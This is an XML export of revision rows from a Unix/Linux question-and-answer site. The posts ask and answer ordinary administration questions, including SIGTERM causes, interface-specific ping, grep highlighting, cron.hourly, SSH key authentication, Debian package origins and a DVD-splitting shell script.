  <row Id="24532" PostHistoryTypeId="2" PostId="10231" RevisionGUID="9e1ed384-4a12-47ef-8034-5b91e725e027" CreationDate="2011-03-28T14:31:23.927" UserId="6001" Text="My server program received a SIGTERM and stopped (with exit code 0). I am surprised by this, as I am pretty sure that there was plenty of memory for it. Under what conditions does linux (busybox) send a SIGTERM to a process?" />
  <row Id="24533" PostHistoryTypeId="1" PostId="10231" RevisionGUID="9e1ed384-4a12-47ef-8034-5b91e725e027" CreationDate="2011-03-28T14:31:23.927" UserId="6001" Text="when does the system send a SIGTERM to a process?" />
  <row Id="24534" PostHistoryTypeId="3" PostId="10231" RevisionGUID="9e1ed384-4a12-47ef-8034-5b91e725e027" CreationDate="2011-03-28T14:31:23.927" UserId="6001" Text="élinuxàéprocessàébusyboxàésignalsà" />
  <row Id="24535" PostHistoryTypeId="25" PostId="10219" RevisionGUID="0ffb678d-1fa4-4e3d-9389-b8a8d1cd70b1" CreationDate="2011-03-28T14:31:40.367" Comment="http://twitter.com/#!/StackUnix/status/52377317628067840" />
  <row Id="24536" PostHistoryTypeId="5" PostId="10217" RevisionGUID="90d2968a-1484-4488-ab17-bcaf0686d2f2" CreationDate="2011-03-28T14:32:37.057" UserId="73" Comment="deleted 48 characters in body; edited title" Text="I'm trying to ping from a specific interface, I have a wired and a wireless connection both going into my laptop.&#xD;&#xA;&#xD;&#xA;My wired adaptor `eth0` is on the IP 172.16.109.75  &#xD;&#xA;My wifi adaptor `wlan0` is on the IP 192.168.1.69&#xD;&#xA;&#xD;&#xA;When I ping google with my `eth0` unplugged with the following command:&#xD;&#xA;&#xD;&#xA;    conneco@mcr-pc-29334:~$ ping -I wlan0 www.google.co.uk&#xD;&#xA;    PING www.l.google.com (74.125.230.115) from 192.168.1.69 wlan0: 56(84) bytes of data.&#xD;&#xA;    64 bytes from 74.125.230.115: icmp_seq=1 ttl=51 time=32.7 ms&#xD;&#xA;    64 bytes from 74.125.230.115: icmp_seq=2 ttl=52 time=28.7 ms&#xD;&#xA;    64 bytes from 74.125.230.115: icmp_seq=3 ttl=52 time=28.9 ms&#xD;&#xA;    64 bytes from 74.125.230.115: icmp_seq=4 ttl=52 time=28.3 ms&#xD;&#xA;&#xD;&#xA;It works fine as expected. I plug my `eth0` cable in and run the same again:&#xD;&#xA;&#xD;&#xA;    conneco@mcr-pc-29334:~$ ping -I wlan0 www.google.co.uk&#xD;&#xA;    PING www.l.google.com (74.125.230.112) from 172.16.109.75 wlan0: 56(84) bytes of data.&#xD;&#xA;    From mcr-pc-29334.local (192.168.1.69) icmp_seq=2 Destination Host Unreachable&#xD;&#xA;    From mcr-pc-29334.local (192.168.1.69) icmp_seq=3 Destination Host Unreachable&#xD;&#xA;    From mcr-pc-29334.local (192.168.1.69) icmp_seq=4 Destination Host Unreachable&#xD;&#xA;    From mcr-pc-29334.local (192.168.1.69) icmp_seq=5 Destination Host Unreachable&#xD;&#xA;    From mcr-pc-29334.local (192.168.1.69) icmp_seq=6 Destination Host Unreachable&#xD;&#xA;    From mcr-pc-29334.local (192.168.1.69) icmp_seq=7 Destination Host Unreachable&#xD;&#xA;&#xD;&#xA;By the output at the top it seems to send it from the `eth0` (which at work won't be able to ping because it gets blocked), but the `wifi` is another link to a separate network where I'm on the net directly and therefore sending the ping request from the `wlan0` should work. What's happening? How should I fix it?&#xD;&#xA;" />
  <row Id="24537" PostHistoryTypeId="4" PostId="10217" RevisionGUID="90d2968a-1484-4488-ab17-bcaf0686d2f2" CreationDate="2011-03-28T14:32:37.057" UserId="73" Comment="deleted 48 characters in body; edited title" Text="Problem pinging from a specific interface" />
  <row Id="24538" PostHistoryTypeId="5" PostId="10230" RevisionGUID="422ba98c-9974-468b-b2d4-eb1d79e0e5ad" CreationDate="2011-03-28T14:33:31.660" UserId="73" Comment="added 9 characters in body; added 1 characters in body" Text="To ping from some interface you should use:&#xD;&#xA;&#xD;&#xA;    $ ping -I ethx xxx.xxx.xxx.xxx" />
  <row Id="24539" PostHistoryTypeId="5" PostId="366" RevisionGUID="4aef06b8-8fc4-4bbb-b411-7324e6d8a92f" CreationDate="2011-03-28T14:52:10.580" UserId="73" Comment="added 74 characters in body; edited tags" Text="Say I have the following file:&#xD;&#xA;&#xD;&#xA;    $ cat test&#xD;&#xA;&#xD;&#xA;    test line 1&#xD;&#xA;    test line 2&#xD;&#xA;    line without the search word&#xD;&#xA;    another line without it&#xD;&#xA;    test line 3 with two test words&#xD;&#xA;    test line 4&#xD;&#xA;&#xD;&#xA;By default, `grep` returns each line that contains the search term&#xD;&#xA;&#xD;&#xA;    $ grep test test&#xD;&#xA;&#xD;&#xA;    test line 1&#xD;&#xA;    test line 2&#xD;&#xA;    test line 3 with two test words&#xD;&#xA;    test line 4&#xD;&#xA;&#xD;&#xA;Passing `grep` `--color` will make it hilight the portion of the line that matches the search expression, but it still only returns lines that contain the expression. Is there a way to get `grep` to output every line in the source file, but highlight the matches?&#xD;&#xA;&#xD;&#xA;My current terrible hack to accomplish this (at least on files that don't have 10000+ consecutive lines with no matches) is:&#xD;&#xA;&#xD;&#xA;    $ grep -B 9999 -A 9999 test test&#xD;&#xA;&#xD;&#xA;![Screenshot of the two commands](http://so.mrozekma.com/unix-grep.png)&#xD;&#xA;&#xD;&#xA;If `grep` can't accomplish this, is there another command-line tool that offers the same functionality? I've fiddled with [`ack`](http://betterthangrep.com/), but it doesn't seem to have an option for it either" />
  <row Id="24540" PostHistoryTypeId="6" PostId="366" RevisionGUID="4aef06b8-8fc4-4bbb-b411-7324e6d8a92f" CreationDate="2011-03-28T14:52:10.580" UserId="73" Comment="added 74 characters in body; edited tags" Text="égrepà" />
  <row Id="24541" PostHistoryTypeId="5" PostId="10221" RevisionGUID="ee28cc24-923b-4d83-85ed-1165e6066d0d" CreationDate="2011-03-28T14:52:15.173" UserId="4319" Comment="Typo." Text="I once wrote a script to solve a similar problem -- I called it &quot;distribute&quot; (you can read [the main code of the script](http://git.altlinux.org/srpms/d/distribute.git?p=distribute.git;a=blob;f=distribute/usr/bin/distribute;h=98e2be1c91bde3d5d509be0e3fcda2852cf9356f;hb=HEAD) or [the file with the help message](http://git.altlinux.org/srpms/d/distribute.git?p=distribute.git;a=blob;f=distribute/usr/lib/distribute/helpdata;h=7f3fc7da134d59a3a7a2192083b4d008f1011066;hb=HEAD), or [download it as a package](http://prometheus.altlinux.org/en/Sisyphus/srpms/distribute/get)); from its [description](http://prometheus.altlinux.org/en/Sisyphus/srpms/distribute):&#xD;&#xA;&#xD;&#xA;&gt; **distribute** -- Distribute a collection of packages on&#xD;&#xA;&gt; multiple CDs (especially good for&#xD;&#xA;&gt; future use with APT)&#xD;&#xA;&gt; &#xD;&#xA;&gt; Description:&#xD;&#xA;&gt; `distribute' program makes doing the&#xD;&#xA;&gt; tasks related to creating a CD set for&#xD;&#xA;&gt; distribution of a collection of&#xD;&#xA;&gt; packages easier. The tasks include: &#xD;&#xA;&gt; laying out the CDs filesystem&#xD;&#xA;&gt; (splitting the large amount of&#xD;&#xA;&gt; packages into  several discs etc.),&#xD;&#xA;&gt; preparing the collection for use by&#xD;&#xA;&gt; APT  (indexing), creating ISO images&#xD;&#xA;&gt; and recording the discs.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Periodical updates to the initially&#xD;&#xA;&gt; distributed collection can be issued&#xD;&#xA;&gt; with  help of `distribute'.&#xD;&#xA;&#xD;&#xA;It does the whole process in several stages (at one stage, it creates the furure disk &quot;layouts&quot; by using symlinks to the original files -- so you can intervene and change the future disk trees).&#xD;&#xA;&#xD;&#xA;The details about its usage can be read in the help message printed by the script (or by looking into the source code).&#xD;&#xA;&#xD;&#xA;It was written with a more trickier use case in mind (issuing updates as a &quot;diff&quot; to the originally recorded collection of files), so it includes one extra initial stage, namely, &quot;fixing&quot; the current state of the collection of files (for simplicity, it does this by replicating the original collection of files by means of symlinks, in a special working place for saving the states of the collection; then, some time in the future, it will be able to create a diff between a future current state of the collection of files and the current current state). So, although you might not need this feature, you can't skip this initial stage, AFAIR.&#xD;&#xA;&#xD;&#xA;Also, I'm not sure now (I wrote it quite a few years ago) whether it treats complex trees well, or it is supposed to split only plain (one level) directories of files. (Please look into the help message or the source code to be sure; I'll look this up, too, a bit later, when I'll have some time.)&#xD;&#xA;&#xD;&#xA;The APT-related stuff is optional, so don't pay attention that it can prepare package collections to be used by APT if you don't need this.&#xD;&#xA;&#xD;&#xA;If you get interested, of course, feel free to rewrite it to your needs or suggest improvements.&#xD;&#xA;&#xD;&#xA;(Please pay attention that [the package](http://prometheus.altlinux.org/en/Sisyphus/srpms/distribute/get) includes additional useful patches not applied in the presented code listing at the Git repo linked above!)" />
  <row Id="24542" PostHistoryTypeId="2" PostId="10232" RevisionGUID="20c7d2b9-9e86-430a-990e-b6995f90f8cd" CreationDate="2011-03-28T15:19:11.027" UserId="4290" Text="Hi,&#xD;&#xA;&#xD;&#xA;I am unable to configure a cron job to run by placing it in /etc/cron.hourly folder.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    SHELL=/bin/bash&#xD;&#xA;    PATH=/sbin:/bin:/usr/sbin:/usr/bin&#xD;&#xA;    MAILTO=root&#xD;&#xA;    HOME=/&#xD;&#xA;    &#xD;&#xA;    # run-parts&#xD;&#xA;    01 * * * * root run-parts /etc/cron.hourly&#xD;&#xA;    02 4 * * * root run-parts /etc/cron.daily&#xD;&#xA;    22 4 * * 0 root run-parts /etc/cron.weekly&#xD;&#xA;    42 4 1 * * root run-parts /etc/cron.monthly&#xD;&#xA;&#xD;&#xA;The file under cron.hourly is : &#xD;&#xA;&#xD;&#xA;    lrwxrwxrwx 1 root root   40 2010-07-26 14:52 check -&gt; /usr/local/xxxx/check-interface.bash&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Permissions on the file :&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    -rwxr-xr-x 1 root root 1.6K 2010-09-13 11:22 /usr/local/xxxx/check-interface.bash&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;There seems to be no errors reported in the var/log/cron logfile. No mention of the script is done. :(" />
  <row Id="24543" PostHistoryTypeId="1" PostId="10232" RevisionGUID="20c7d2b9-9e86-430a-990e-b6995f90f8cd" CreationDate="2011-03-28T15:19:11.027" UserId="4290" Text="Configuring cron.hourly" />
  <row Id="24544" PostHistoryTypeId="3" PostId="10232" RevisionGUID="20c7d2b9-9e86-430a-990e-b6995f90f8cd" CreationDate="2011-03-28T15:19:11.027" UserId="4290" Text="élinuxàécronà" />
  <row Id="24545" PostHistoryTypeId="2" PostId="10233" RevisionGUID="1c382083-4182-4a7e-b0ad-25181d665a25" CreationDate="2011-03-28T15:22:38.807" UserId="6004" Text="I am usually connecting to the remote server with &#xD;&#xA;&#xD;&#xA;&gt; ssh user@server.com -p 11000&#xD;&#xA;&#xD;&#xA;and then giving the password each time for user. &#xD;&#xA;How should I avoid entering the password each time I connect using ssh ?" />
  <row Id="24546" PostHistoryTypeId="1" PostId="10233" RevisionGUID="1c382083-4182-4a7e-b0ad-25181d665a25" CreationDate="2011-03-28T15:22:38.807" UserId="6004" Text="ssh remote server on some port other than 22 without password" />
  <row Id="24547" PostHistoryTypeId="3" PostId="10233" RevisionGUID="1c382083-4182-4a7e-b0ad-25181d665a25" CreationDate="2011-03-28T15:22:38.807" UserId="6004" Text="ésshàépasswordàéremoteömanagementàéconnectionösharingà" />
  <row Id="24548" PostHistoryTypeId="2" PostId="10234" RevisionGUID="9074ede6-d05f-4e54-b5c5-e3db272b3a86" CreationDate="2011-03-28T15:33:10.227" UserId="3633" Text="Turn to [key-based authentication](http://www.laubenheimer.net/ssh-keys.shtml)." />
  <row Id="24549" PostHistoryTypeId="2" PostId="10235" RevisionGUID="113152f6-e6f9-4534-afe9-ae80d301ebfc" CreationDate="2011-03-28T16:07:30.737" UserId="250" Text="I think I should add a bit of a narrative to the link in 9000's answer.&#xD;&#xA;&#xD;&#xA;First, check in home to see if you have a folder named `.ssh` with files inside. If `.ssh` doesn't exist, you don't have any key set up, so you have to generate a pair using `ssh-keygen` (it defaults to create the keys in `~/.ssh`, you can give the keys a password or not). This will give you a .pub file in `~/.ssh` (mine is `id_rsa.pub`). The file `id_rsa.pub` should look like:&#xD;&#xA;&#xD;&#xA;&gt; ssh-rsa lotsofrandomtext user@local&#xD;&#xA;&#xD;&#xA;Second, ssh to the server, check to see if you have a file named `~/.ssh/authorized_keys`, create it if it doesn't exist. Then, append the contents of the `~/.ssh/id_rsa.pub` that you generated earlier in your local machine here. This might mean copying the file contents to your clipboard, then opening `~/.ssh/authorized_keys` in a text editor and pasting the lines in.&#xD;&#xA;&#xD;&#xA;You should now be able to ssh without typing the password.&#xD;&#xA;&#xD;&#xA;If you put this in `~/.ssh/config`:&#xD;&#xA;&#xD;&#xA;    Host server&#xD;&#xA;    HostName server.com&#xD;&#xA;    Port 11000&#xD;&#xA;&#xD;&#xA;You will be able to `ssh user@server` (so you won't have to type `-p 11000` all the time)." />
  <row Id="24550" PostHistoryTypeId="5" PostId="10235" RevisionGUID="8485451d-dacc-43cb-ac40-0f5ccd483e10" CreationDate="2011-03-28T16:13:20.043" UserId="250" Comment="added 59 characters in body" Text="I think I should add a bit of a narrative to the link in 9000's answer.&#xD;&#xA;&#xD;&#xA;First, check in home to see if you have a folder named `.ssh` with files inside. If `.ssh` doesn't exist, you don't have any key set up, so you have to generate a pair using `ssh-keygen` (it defaults to create the keys in `~/.ssh`, you can give the keys a password or not). This will give you a .pub file in `~/.ssh` (mine is `id_rsa.pub`). The file `id_rsa.pub` should look like:&#xD;&#xA;&#xD;&#xA;&gt; ssh-rsa lotsofrandomtext user@local&#xD;&#xA;&#xD;&#xA;Second, ssh to the server, check to see if you have a file named `~/.ssh/authorized_keys`, create it if it doesn't exist. Then, append the contents of the `~/.ssh/id_rsa.pub` that you generated earlier in your local machine here. This might mean copying the file contents to your clipboard, then opening `~/.ssh/authorized_keys` in a text editor and pasting the lines in.&#xD;&#xA;&#xD;&#xA;You should now be able to ssh without typing the password.&#xD;&#xA;&#xD;&#xA;Third, if you put this in `~/.ssh/config`:&#xD;&#xA;&#xD;&#xA;    Host server&#xD;&#xA;    HostName server.com&#xD;&#xA;    Port 11000&#xD;&#xA;&#xD;&#xA;You will be able to `ssh user@server`, or even `ssh server`, if your username is the same (so you won't have to type `-p 11000` all the time)." />
  <row Id="24551" PostHistoryTypeId="5" PostId="10220" RevisionGUID="6c00bd1f-f48f-4471-8a9f-50662c0466a9" CreationDate="2011-03-28T16:15:58.747" UserId="4671" Comment="added 179 characters in body" Text="I want to list all packages of the form&#xD;&#xA;&#xD;&#xA;    $ dpkg -l libav\*&#xD;&#xA;&#xD;&#xA;but in addition to this output, I would like the origin/source (I'm not sure of the preferred term) of each package. If the package doesn't correspond to any source, it should say unknown or similar. Off the top of my head, the most promising approach would be to use [dctrl-tools](http://packages.debian.org/squeeze/dctrl-tools), but I'm not sure how to go about it. For background, I'm trying to debug a library mismatch with ffmpeg. See [Debian bug report - ffmpeg: backport of 4:0.6.1-5 from unstable produces WARNING: library configuration mismatch](http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=619530).&#xD;&#xA;&#xD;&#xA;Just to be clear on the format, this should look something like&#xD;&#xA;&#xD;&#xA;    ii  libavahi-client-dev                  0.6.27-2+squeeze1                  &#xD;&#xA;    Development files for the Avahi client library     squeeze&#xD;&#xA;    ii  libavcodec-dev                       4:0.6.1-5                              &#xD;&#xA;    Development files for libavcodec                   unstable&#xD;&#xA;&#xD;&#xA;If the same package is available in multiple categories, ie. in both squeeze and testing, then the *lowest* / *oldest* category available should be used. In this case, squeeze." />
  <row Id="24552" PostHistoryTypeId="5" PostId="10222" RevisionGUID="3a8d92b2-16f8-4266-9aca-ae58d97f02a9" CreationDate="2011-03-28T16:52:55.890" UserId="5666" Comment="deleted 5 characters in body; added 1 characters in body" Text="Probably, when pluging in the ethernet cable, your default route gateway changes by dhcp. You send packets from wlan0 but your system doesn't know who is the gateway to forward them to. This way you can only ping systems within 192.168.1 network but not further. If you want to get a reply from the google server, you'll have to either change the default gateway back to the wireless router, or add a specific route for this server.&#xD;&#xA;&#xD;&#xA;    route add -host 74.125.230.112/32 gw 192.168.1.1 # assuming 192.168.1.1 is the wireless router's ip" />
  <row Id="24553" PostHistoryTypeId="2" PostId="10236" RevisionGUID="26fb3235-814b-436a-9572-d590578c7e64" CreationDate="2011-03-28T17:11:33.037" UserId="6111" Text="kernel can generate SIGTERM when running low on disk space or there is a hardware interrupt...caused by some error" />
  <row Id="24554" PostHistoryTypeId="2" PostId="10237" RevisionGUID="c526cefc-eb58-45f8-8867-987b230ce24e" CreationDate="2011-03-28T17:31:41.293" UserId="6112" Text="Im getting it while running eggdrop bot with loading http.tcl script&#xD;&#xA;does anyone know how to fix that?&#xD;&#xA;" />
  <row Id="24555" PostHistoryTypeId="1" PostId="10237" RevisionGUID="c526cefc-eb58-45f8-8867-987b230ce24e" CreationDate="2011-03-28T17:31:41.293" UserId="6112" Text="conflicting versions provided for package &quot;http&quot;: 2.7.5, then 2.5.2" />
  <row Id="24556" PostHistoryTypeId="3" PostId="10237" RevisionGUID="c526cefc-eb58-45f8-8867-987b230ce24e" CreationDate="2011-03-28T17:31:41.293" UserId="6112" Text="éhttpà" />
  <row Id="24557" PostHistoryTypeId="25" PostId="10233" RevisionGUID="79a91c9e-b4fb-4a2a-89b3-58c665d4a3a7" CreationDate="2011-03-28T17:31:42.097" Comment="http://twitter.com/#!/StackUnix/status/52422619718361088" />
  <row Id="24558" PostHistoryTypeId="2" PostId="10238" RevisionGUID="05c2cef6-5447-43a0-a952-608c01d8fd20" CreationDate="2011-03-28T17:33:04.257" UserId="6113" Text="The first few lines of the initscript in my initramfs are simply:&#xD;&#xA;&#xD;&#xA;    busybox --install -s&#xD;&#xA;&#xD;&#xA;Creates the symlinks for you..  Only takes an unmeasurably small amount of time on my 500Mhz board, possibly longer on very low hardware, but likely manageable.  Saves a bunch of issues remembering to create all the right links when you update BB..." />
  <row Id="24559" PostHistoryTypeId="6" PostId="10237" RevisionGUID="a1181154-607f-42fd-898a-2f2a99ada557" CreationDate="2011-03-28T17:52:24.913" UserId="885" Comment="edited tags" Text="éhttpàétclà" />
  <row Id="24560" PostHistoryTypeId="5" PostId="10220" RevisionGUID="a4b13074-714f-4368-a3bb-ea04ca6fc643" CreationDate="2011-03-28T17:57:01.483" UserId="4671" Comment="added 83 characters in body" Text="I want to list all packages of the form&#xD;&#xA;&#xD;&#xA;    $ dpkg -l libav\*&#xD;&#xA;&#xD;&#xA;but in addition to this output, I would like the origin/source (I'm not sure of the preferred term) of each package. If the package doesn't correspond to any source, it should say unknown or similar. Off the top of my head, the most promising approach would be to use [dctrl-tools](http://packages.debian.org/squeeze/dctrl-tools), but I'm not sure how to go about it. For background, I was trying to debug a library mismatch with ffmpeg. See [Debian bug report - ffmpeg: backport of 4:0.6.1-5 from unstable produces WARNING: library configuration mismatch](http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=619530). The bug report is no longer an issue, but I'm still interested in this question.&#xD;&#xA;&#xD;&#xA;Just to be clear on the format, this should look something like&#xD;&#xA;&#xD;&#xA;    ii  libavahi-client-dev                  0.6.27-2+squeeze1                  &#xD;&#xA;    Development files for the Avahi client library     squeeze&#xD;&#xA;    ii  libavcodec-dev                       4:0.6.1-5                              &#xD;&#xA;    Development files for libavcodec                   unstable&#xD;&#xA;&#xD;&#xA;If the same package is available in multiple categories, ie. in both squeeze and testing, then the *lowest* / *oldest* category available should be used. In this case, squeeze." />
  <row Id="24561" PostHistoryTypeId="5" PostId="10237" RevisionGUID="ec39c3d9-645d-4c8c-a053-bbc8a807dcc8" CreationDate="2011-03-28T18:35:10.890" UserId="73" Comment="added 110 characters in body; edited title; edited title" Text="I'm getting this error while running the [eggdrop bot](http://www.eggheads.org/), while loading the `http.tcl` script:&#xD;&#xA;&#xD;&#xA;&gt; conflicting versions provided for package &quot;http&quot;: 2.7.5, then 2.5.2&#xD;&#xA;&#xD;&#xA;How do I fix this?&#xD;&#xA;" />
  <row Id="24562" PostHistoryTypeId="4" PostId="10237" RevisionGUID="ec39c3d9-645d-4c8c-a053-bbc8a807dcc8" CreationDate="2011-03-28T18:35:10.890" UserId="73" Comment="added 110 characters in body; edited title; edited title" Text="&quot;Conflicting versions&quot; error while running eggdrop" />
  <row Id="24563" PostHistoryTypeId="2" PostId="10239" RevisionGUID="3a614f43-8556-4a26-8c2e-1573fda2114d" CreationDate="2011-03-28T18:41:55.917" UserId="885" Text="Dpkg doesn't track this information. Where you got each `.deb` file is not its concern.&#xD;&#xA;&#xD;&#xA;Apt doesn't track this information either, but it knows where you can now get the package, which is good enough.&#xD;&#xA;&#xD;&#xA;As [9000](http://unix.stackexchange.com/users/3633/9000) wrote in a comment, `apt-cache policy '^libav'` shows you what versions of packages with names matching the regexp `^libav` are installed or available. The output isn't particularly convenient to parse, but here's a minimally tested script that gives approximately the format you want:&#xD;&#xA;&#xD;&#xA;    { LC_CTYPE=C apt-cache policy '^libav'; echo .; } | perl -l -ne '&#xD;&#xA;        if (!/^ /) {&#xD;&#xA;            if (defined $version) {print &quot;$package: $version unknown&quot;}&#xD;&#xA;            s/: *$//; $package=$_; $installed=1; $version=undef;&#xD;&#xA;        }&#xD;&#xA;        if (/^ *Installed: *\(none\)$/) {$installed=0}&#xD;&#xA;        if ($installed &amp;&amp; /^ \*+ +([^ ]+)/) {$version=$1}&#xD;&#xA;        if (/^     [^ ]/) {$version=undef}&#xD;&#xA;        if ($installed &amp;&amp; defined $version &amp;&amp; /^ +[0-9]+ +[^ ]+ +([^ \/]+)/) {&#xD;&#xA;            print &quot;$package: $version $1&quot;;&#xD;&#xA;            $version=undef;&#xD;&#xA;        }&#xD;&#xA;    '&#xD;&#xA;&#xD;&#xA;Another way to the information you're asking for is with `aptitude versions`. Again, the minimally-tested snippet below gives roughly the desired format. The pattern `&quot;^libav&quot; ~i` matches packages that are installed and whose name matches the given regexp.&#xD;&#xA;&#xD;&#xA;    aptitude versions '&quot;^libav&quot; ~i' |&#xD;&#xA;    awk -vRS= '{if ($6 !~ /[^0-9]/) {$6=&quot;unknown&quot;}&#xD;&#xA;                print $3, $2, $5, $6}'&#xD;&#xA;&#xD;&#xA;There's also a separately-packages utility [`apt-show-versions`](http://packages.debian.org/squeeze/apt-show-versions) that, again, gives the information you want in roughly the format you're asking.&#xD;&#xA;&#xD;&#xA;    apt-show-versions | grep '^libav'&#xD;&#xA;" />
  <row Id="24564" PostHistoryTypeId="6" PostId="10220" RevisionGUID="87aecbec-d178-447a-8bbf-1963e3eed1f9" CreationDate="2011-03-28T18:44:01.113" UserId="885" Comment="edited tags" Text="édebianàéaptàédpkgà" />
  <row Id="24565" PostHistoryTypeId="6" PostId="10233" RevisionGUID="a16d039e-d34d-4ad0-8767-eacc0aa9a66f" CreationDate="2011-03-28T18:44:42.780" UserId="885" Comment="edited tags" Text="ésshàéauthenticationà" />
  <row Id="24566" PostHistoryTypeId="2" PostId="10240" RevisionGUID="51225f0e-7b86-477d-a342-3eda6dd9c691" CreationDate="2011-03-28T18:49:00.953" UserId="4856" Text="I recently discovered the existence of Linux TUN/TAP interfaces and am still trying to understand them. I think I get the basic concept - pseudo devices are created which emulate a network interface and instead of passing data to hardware it is passed to a userspace program.&#xD;&#xA;&#xD;&#xA;How would you direct an unrelated program to utilize this tunnel?&#xD;&#xA;&#xD;&#xA;For example, before the tunnel is created my system only contains eth0 and lo, the normal ethernet interface (wired to my local network) and the loopback interface. After a program creates and configures a tunnel, I have a new interface gr0 which I gave an IP address that is on my local network, but not in use (so we are all on the same subnet). How would I make an unrelated program utilize this 'tunnel'? Say I had a simple Python message passing client/server app which utilizes a TCP connection, how could I configure it to use the tunnel?&#xD;&#xA;&#xD;&#xA;I apologize if I am missing something basic, but as usual I have managed to confuse myself in the scheme of things. Again, all I want is to have a simple TCP program utilize this tunnel.&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="24567" PostHistoryTypeId="1" PostId="10240" RevisionGUID="51225f0e-7b86-477d-a342-3eda6dd9c691" CreationDate="2011-03-28T18:49:00.953" UserId="4856" Text="How to utilize TUN/TAP tunnel from user program?" />
  <row Id="24568" PostHistoryTypeId="3" PostId="10240" RevisionGUID="51225f0e-7b86-477d-a342-3eda6dd9c691" CreationDate="2011-03-28T18:49:00.953" UserId="4856" Text="énetworkingàétunnelsà" />
  <row Id="24569" PostHistoryTypeId="5" PostId="10212" RevisionGUID="65aacf90-2ca5-4ee5-a820-24935025d58a" CreationDate="2011-03-28T18:59:52.650" UserId="885" Comment="support special characters in file names; added 21 characters in body" Text="I once made an ugly script for a similar purpose. It is just a kludge, but when I wrote it I didn't care about execution time or prettiness. I'm sure there are more &quot;productified&quot; versions of the same concept around, but If you wish to get some ideas or something to start hacking on, here goes (did it in 2008, so use at your own risk!) :-)&#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-sh --&gt;&#xD;&#xA;&#xD;&#xA;    #!/bin/sh -&#xD;&#xA;    REPO=/export/foton/PictureStore&#xD;&#xA;    LINKS=/export/foton/links&#xD;&#xA;    SPLITTIX=`date '+%y%m%d-%H%M'`&#xD;&#xA;&#xD;&#xA;    # kilobytes&#xD;&#xA;    DVDSIZE=4400000&#xD;&#xA;    PARTPREFIX=&quot;DVD-&quot;&#xD;&#xA;    REPOSIZE=`du -sk -- ${REPO} | awk '{print $1}'`&#xD;&#xA;    NUMPARTS=`expr $REPOSIZE / $DVDSIZE`&#xD;&#xA;    SPLITDIR=${LINKS}/splits/${SPLITTIX}&#xD;&#xA;    mkdir -p -- &quot;$SPLITDIR&quot;&#xD;&#xA;&#xD;&#xA;    PARTNUM=1&#xD;&#xA;    PARTSIZ=0&#xD;&#xA;    DONESIZ=0&#xD;&#xA;    PARTNUM=`echo $PARTNUM | awk '{printf(&quot;%03x&quot;, $0)}'`&#xD;&#xA;    mkdir -p -- &quot;${SPLITDIR}/${PARTPREFIX}${PARTNUM}&quot;&#xD;&#xA;    for D in &quot;${REPO}&quot;/..?* &quot;${REPO}&quot;/.[!.]* &quot;${REPO}&quot;/*&#xD;&#xA;    do&#xD;&#xA;      if [ ! -e &quot;$D&quot; ]; then continue; fi  # skip ..?*, .[!.]* and * if there are no matching files&#xD;&#xA;      D=${D#$REPO/}&#xD;&#xA;      D_SIZ=`du -sk -- &quot;${REPO}/$D&quot; | awk '{print $1}'`&#xD;&#xA;      if test `expr $D_SIZ + $PARTSIZ` -le $DVDSIZE&#xD;&#xA;      then&#xD;&#xA;        # link to D in this part&#xD;&#xA;        ln -s -- &quot;$REPO/$D&quot; &quot;${SPLITDIR}/${PARTPREFIX}${PARTNUM}/$D&quot;&#xD;&#xA;        # adjust counters&#xD;&#xA;        PARTSIZ=`expr $PARTSIZ + $D_SIZ`&#xD;&#xA;        DONESIZ=`expr $DONESIZ + $D_SIZ`&#xD;&#xA;      else&#xD;&#xA;        # next part and link to D in that&#xD;&#xA;        echo PART $PARTNUM: $PARTSIZ kb '(target' $DVDSIZE 'kb)'&#xD;&#xA;        PARTNUM=`expr $PARTNUM + 1`&#xD;&#xA;        PARTNUM=`echo $PARTNUM | awk '{printf(&quot;%03x&quot;, $0)}'`&#xD;&#xA;        PARTSIZ=$D_SIZ&#xD;&#xA;        DONESIZ=`expr $DONESIZ + $D_SIZ`&#xD;&#xA;        mkdir -p -- &quot;${SPLITDIR}/${PARTPREFIX}${PARTNUM}&quot;&#xD;&#xA;        ln -s -- &quot;$REPO/$D&quot; &quot;${SPLITDIR}/${PARTPREFIX}${PARTNUM}/$D&quot;&#xD;&#xA;      fi&#xD;&#xA;    done&#xD;&#xA;    echo &quot;wrote $DONESIZ kb in $PARTNUM parts in $SPLITDIR&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I think I had the result shared through samba to a windows host that burned discs from it. If you use the above unaltered, you may wish to use `mkisofs` or another archiver that resolves symlinks." />
  <row Id="24570" PostHistoryTypeId="5" PostId="10221" RevisionGUID="f3ff969d-c0ff-4e66-a564-5fdc52a72944" CreationDate="2011-03-28T19:00:02.040" UserId="4319" Comment="(minor) A more sensible punctuation (the answer resp. one of the requested features shouldn't be in parentheses); and a tiny clarification on what is meant by a &quot;diff&quot; in this case." Text="I once wrote a script to solve a similar problem -- I called it &quot;distribute&quot; (you can read [the main code of the script](http://git.altlinux.org/srpms/d/distribute.git?p=distribute.git;a=blob;f=distribute/usr/bin/distribute;h=98e2be1c91bde3d5d509be0e3fcda2852cf9356f;hb=HEAD) or [the file with the help message](http://git.altlinux.org/srpms/d/distribute.git?p=distribute.git;a=blob;f=distribute/usr/lib/distribute/helpdata;h=7f3fc7da134d59a3a7a2192083b4d008f1011066;hb=HEAD), or [download it as a package](http://prometheus.altlinux.org/en/Sisyphus/srpms/distribute/get)); from its [description](http://prometheus.altlinux.org/en/Sisyphus/srpms/distribute):&#xD;&#xA;&#xD;&#xA;&gt; **distribute** -- Distribute a collection of packages on&#xD;&#xA;&gt; multiple CDs (especially good for&#xD;&#xA;&gt; future use with APT)&#xD;&#xA;&gt; &#xD;&#xA;&gt; Description:&#xD;&#xA;&gt; `distribute' program makes doing the&#xD;&#xA;&gt; tasks related to creating a CD set for&#xD;&#xA;&gt; distribution of a collection of&#xD;&#xA;&gt; packages easier. The tasks include: &#xD;&#xA;&gt; laying out the CDs filesystem&#xD;&#xA;&gt; (splitting the large amount of&#xD;&#xA;&gt; packages into  several discs etc.),&#xD;&#xA;&gt; preparing the collection for use by&#xD;&#xA;&gt; APT  (indexing), creating ISO images&#xD;&#xA;&gt; and recording the discs.&#xD;&#xA;&gt; 